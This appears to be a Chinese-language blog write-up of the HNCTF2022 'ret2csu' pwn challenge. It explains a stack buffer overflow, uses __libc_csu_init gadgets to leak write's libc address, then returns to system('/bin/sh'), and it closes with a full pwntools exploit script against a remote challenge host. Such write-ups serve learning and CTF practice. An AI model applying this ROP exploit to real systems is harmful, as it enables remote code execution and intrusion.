HNCTF2022.ret2csu

文章发布时间:

最后更新时间:

文章总字数:
618

预计阅读时间:
2 分钟

看一下保护机制

QQ截图20221006165446

再拖到ida里看一下

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(_bss_start, 0LL);
write(1, "Start Your Exploit!\n", 0x14uLL);
vuln();
return 0;
}
1
2
3
4
5
6
7
8
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

write(1, "Input:\n", 7uLL);
read(0, buf, 0x200uLL);
return write(1, "Ok.\n", 4uLL);
}

主体部分非常简洁 但是没有任何后门函数和泄露真实地址的地方

一开始我们会想自己构造rop链

通过ROPgadget来寻找rdi rsi rdx三个寄存器的传参汇编地址

我们来看一下能否找到我们想要的汇编

QQ截图20221006170927

可以看到并没有rdx

但是仍然还存在一种可能,我们gdb看一下当我们read数据的时候 rdx寄存器的值是多少

QQ截图20221006171139

可以看到是0x4 显然没有办法成为我们调用wirte函数的参数(因为其是作为第三个参数size存在的,这样我们只能输出4个字节的数据)

所以此时我们回忆一下,有没有什么万能的rop链?欸 一想还真有 叫ret2csu(相关的介绍在栈部分里有)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn

我们再看一下程序给了我们哪些函数

QQ截图20221006171623

那么思路直接有了 这里用write函数 然后通过csu汇编代码将参数传给寄存器 这样我们就能泄露出write函数的真实地址了(也可以是其他的)

泄露出来以后 就是ret2libc的知识点了 思路捋清了 直接看exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
io = remote("43.143.7.97",28657)
libc = ELF("libc.so.6")
elf = ELF("./ret2csu")
gadget2_addr = 0x4012A6
gadget1_addr = 0x401290
vuln_addr = 0x401176
rdi_addr = 0x4012b3
write_got = elf.got['write']
io.recvuntil("Input:")
payload1 = cyclic(0x100+0x8)+p64(gadget2_addr)+cyclic(8)+p64(0)+p64(1)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(gadget1_addr)+cyclic(56)+p64(vuln_addr)
io.sendline(payload1)
io.recvuntil("Ok.\n")
write_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
libc_addr = write_addr - libc.sym['write']
hex(libc_addr)
system_addr = libc_addr + libc.sym['system']
hex(system_addr)
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
hex(binsh_addr)
io.recvuntil("Input:\n")
payload2 = cyclic(0x108)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+p64(vuln_addr)
io.sendline(payload2)
io.interactive()